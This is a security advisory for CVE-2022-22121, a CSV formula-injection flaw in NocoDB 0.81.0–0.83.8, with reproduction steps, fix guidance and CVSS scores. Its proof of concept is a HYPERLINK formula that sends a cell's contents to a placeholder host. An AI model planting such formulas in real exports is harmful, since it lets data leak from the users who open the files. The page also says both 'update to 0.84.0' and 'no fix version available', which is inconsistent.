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CVE-2022-22121
Date: January 10, 2022
Overview
In NocoDB, versions 0.81.0 through 0.83.8 are affected by CSV Injection vulnerability (Formula Injection). A low privileged attacker can create a new table to inject payloads in the table rows. When an administrator accesses the User Management endpoint and exports the data as a CSV file and opens it, the payload gets executed.Details
NocoDB download as CSV functionality fails to sanitize user-controlled input before writing it to the downloaded CSV file which leads to a formula injection vulnerability.PoC Details
Sign in to the NocoDB application and create a new table, using a lower privileged user like editor, create a new row on this table with value set to the formula injection payload shown below. Then click download as CSV which leads to the formula injection vulnerability be triggered.PoC Code
=HYPERLINK("http://0.0.0.0:8000/?leak="&A1,"click")Affected Environments
0.81.0 through 0.83.8Prevention
Update to version 0.84.0 or laterLanguage: VUE
Good to know:
Upgrade Version
No fix version available
| Base Score: |
|
|---|---|
| Attack Vector (AV): | Network |
| Attack Complexity (AC): | Low |
| Privileges Required (PR): | Low |
| User Interaction (UI): | Required |
| Scope (S): | Unchanged |
| Confidentiality (C): | High |
| Integrity (I): | High |
| Availability (A): | High |
| Base Score: |
|
|---|---|
| Access Vector (AV): | Network |
| Access Complexity (AC): | Medium |
| Authentication (AU): | Single |
| Confidentiality (C): | Partial |
| Integrity (I): | Partial |
| Availability (A): | Partial |
| Additional information: |